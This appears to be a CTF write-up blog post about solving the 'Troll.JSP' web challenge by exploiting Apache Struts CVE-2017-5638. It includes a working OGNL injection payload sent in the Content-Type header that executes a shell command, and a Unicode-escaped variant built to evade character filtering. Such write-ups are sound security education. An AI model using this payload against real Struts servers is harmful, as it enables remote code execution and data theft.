This post spoils a CTF challenge … Don’t read if you want to try it !

ECW (European Cyber Week) is a Jeopardy student CTF challenge. It is organized by Thales, Airbus and the Bretagne region. I had a great time solving these challenges, despite a little abusive guessing in stegano challenges. Hurry to hand over this !

Troll.JSP is a Web challenge based on CVE-2017-5638. Several hints were present in hashes to guide us but I totally missed them, so I had to guess some parts and bypass some filters. You can check Haax’s write-up or maki’s write-up to see different solutions.

[+] Recon

We are facing a simple website :

main page

No information at first sight… but HTML comments are our friends.
hint page


Let’s request this non-indexed page :
debug page


Hum, this is not really verbose. But at least, we know something : if we can inject something in #session variable, we will be able to see the output on this page.
A flag page is available, let’s request it too.
flag page

Obviously, this is a troll flag. But this hash is a known one, and it contains an hint about one way to solve the challenge. I totally missed the hint, but you can check Haax’s write-up to see a solution which use it.
After trying a few pages, I noticed an error message on some requests, indicating that the web server is using Apache Struts and Apache Tomcat. I started testing all known Tomcat and Struts vulnerabilities.
Some tries later, I noticed that the Content-Type header was filtered against dots, parenthesis etc… (returns blank page). This uncommon behavior reminded me the CVE-2017-5638 in Apache Struts, which is precisely an exploit based on Content-Type header.

[+] Exploitation

I first tried to confirm that the vulnerability was working. Let’s input a simple payload which is not filtered in the Content-Type header and request debug.jsp page.

Content-Type: ${#_='multipart/form-data',#session['cmd'] = 'test'}

exploit1 page

Nice !
But many characters are filtered, so we can’t use common payloads… There are several solutions to bypass this : the most clever solution I saw is maki’s one, which exploit a CVE-2017-5638 variant where the payload is located in the Content-Disposition header so it bypasses the Content-Type filtering in place here.
I found that another simple way to bypass the filtering was to use UTF encoding with \uXXXX.
Final payload is :
%{#x=“multipart/form-data”,#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#container=#context[‘com.opensymphony.xwork2.ActionContext.container’],#proc=@java.lang.Runtime@getRuntime().exec(‘cat /opt/tomcat/webapps/ECW/flag.jsp’).getInputStream(),#z=@org.apache.commons.io.IOUtils@toString(#proc),#session[‘cmd’]=#z}

After encoding :
%{#x=“multipart/form-data”,\u0023\u005f\u006d\u0065\u006d\u0062\u0065\u0072\u0041\u0063\u0063\u0065\u0073\u0073\u003d\u0040\u006f\u0067\u006e\u006c\u002e\u004f\u0067\u006e\u006c\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0040\u0044\u0045\u0046\u0041\u0055\u004c\u0054\u005f\u004d\u0045\u004d\u0042\u0045\u0052\u005f\u0041\u0043\u0043\u0045\u0053\u0053,\u0023\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0065\u0072\u003d\u0023\u0063\u006f\u006e\u0074\u0065\u0078\u0074\u005b\u0027\u0063\u006f\u006d\u002e\u006f\u0070\u0065\u006e\u0073\u0079\u006d\u0070\u0068\u006f\u006e\u0079\u002e\u0078\u0077\u006f\u0072\u006b\u0032\u002e\u0041\u0063\u0074\u0069\u006f\u006e\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0065\u0072\u0027\u005d,#proc=\u0040\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0040\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0027cat /opt/tomcat/webapps/ECW/flag\u002ejsp\u0027\u0029\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029,#z=\u0040\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0063\u006f\u006d\u006d\u006f\u006e\u0073\u002e\u0069\u006f\u002e\u0049\u004f\u0055\u0074\u0069\u006c\u0073\u0040\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0023\u0070\u0072\u006f\u0063\u0029,#session[‘cmd’]=#z}

The flag is hardcoded in flag.jsp source, so we can retrieve it with cat /opt/tomcat/webapps/ECW/flag.jsp

[+] Bye

Thanks to Haax for the screenshots ! I totally forgot to take some during the CTF :(
Feel free to tell me what you think about this post :)